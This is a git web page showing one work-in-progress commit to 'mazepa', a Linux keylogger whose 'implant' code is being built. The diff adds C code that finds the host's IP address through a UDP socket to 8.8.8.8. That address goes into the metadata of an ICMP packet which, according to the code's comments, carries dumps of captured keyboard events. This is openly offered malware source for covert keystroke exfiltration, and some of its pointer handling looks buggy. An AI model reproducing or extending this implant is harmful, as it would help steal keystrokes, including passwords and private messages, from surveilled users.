mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit ff23ff8623d46fbf05d499ca8d7225d66588abb9
parent a503e96a218c827dda1279c72c893dc4d70e5a8c
Author: djnn <[email protected]>
Date: Sat, 6 Jul 2024 13:33:57 +0200

wip(net): retrieve_ip_address() using UDP socket + DNS resolver

Diffstat:
Mimplant/sources/net.c | 71+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++--

1 file changed, 69 insertions(+), 2 deletions(-)

diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -1,6 +1,12 @@
 
 #include <linux/input.h>
 
+#include <stdint.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <net/if.h>
+#include <arpa/inet.h>
+#include <netinet/in.h>
 #include <string.h>
 #include <arpa/inet.h>
 #include <netinet/ip.h>
@@ -9,6 +15,58 @@
 #include <unistd.h>
 #include "implant.h"
 
+static int retrieve_ip_address(char *ip[32]) {
+
+    /* open UDP socket to resolver google DNS, retrieve IP address in resp */
+
+    const char *resolver = "8.8.8.8";
+    const uint16_t dns_port = 53;
+
+    int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
+if (sockfd < 0) {
+#ifdef DEBUG
+        DEBUG_LOG("[+] could not load UDP socket in retrieve_ip_address()\n");
+        perror("socket");
+#endif
+
+cleanup_close_socket:
+        close(sockfd);
+        return 0;
+    }
+
+    struct sockaddr_in serv = {0};
+    serv.sin_family = AF_INET;
+    serv.sin_addr.s_addr = inet_addr(resolver);
+    serv.sin_port = htons(dns_port);
+
+    if (-1 == connect(sockfd,  (const struct sockaddr*)&serv, sizeof(serv))) {
+#ifdef DEBUG
+        DEBUG_LOG("[+] could not connect to %s (port: %d)\n", resolver, dns_port);
+        perror("connect");
+#endif
+
+        goto cleanup_close_socket;
+    }
+
+    struct sockaddr_in name;
+    socklen_t namelen = sizeof(name);
+    if (-1 == getsockname(sockfd, (struct sockaddr*) &name, &namelen)) {
+#ifdef DEBUG
+        DEBUG_LOG("[+] could not get socket name\n");
+        perror("getsockname");
+#endif
+
+        goto cleanup_close_socket;
+    }
+
+    // TODO(djnn): testing testing testing
+
+    const char* p = inet_ntop(AF_INET, &name.sin_addr, *ip, 32);
+
+    close(sockfd);
+    return 1;
+}
+
 /* Layout of the DATA packet is following
  * [ Locale (length: 31), using_cap_lock, struct input_event dump ]
  */
@@ -70,8 +128,15 @@ cleanup_error:
 
     /* set packet metadata */
 
-    /* TODO(djnn): retrieve IP address */
-    char local_ip[32] = "127.0.0.1";
+    char local_ip[32] = {0};
+    if (!retrieve_ip_address((char **)&local_ip)) {
+#ifdef DEBUG
+        DEBUG_LOG("[+] could not get public ip address\n");
+#endif
+
+        goto cleanup_error;
+    }
+
     int packet_type = ICMP_ECHOREPLY;
 
     struct iphdr *ip = NULL;
@@ -87,3 +152,5 @@ cleanup_error:
     return SUCCESSFUL;
 }
 
+
+